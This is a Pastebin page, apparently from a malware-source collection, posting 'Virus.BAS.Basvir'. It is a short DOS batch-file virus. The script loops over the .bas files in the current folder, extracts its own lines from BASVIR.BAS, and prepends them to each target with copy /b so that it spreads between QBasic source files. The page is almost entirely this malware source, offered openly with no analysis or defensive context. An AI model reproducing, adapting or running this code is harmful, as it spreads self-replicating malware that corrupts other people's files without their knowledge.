Advertisement
FlyFar

Virus.BAS.Basvir - Source Code

Jun 11th, 2023
2,115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 0.27 KB | Cybersecurity | 0 0
  1. @echo OFF %BasVir1%
  2. IF '%1=='BasVir goto BasVir%2
  3. FOR %%a in (*.bas) DO CALL ~$ BasVir 2 %%a
  4. EXIT
  5. :BasVir2
  6. find "DECLARE "<%3>nul
  7. IF NOT errorlevel 1 GOTO BasVirE
  8. echo basvirH$ = "%3">~1
  9. find "BasVir"<BASVIR.BAS>>~1
  10. copy %3 ~2>nul
  11. copy /b ~1+~2 %3>nul
  12. EXIT
  13. :BasVirE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement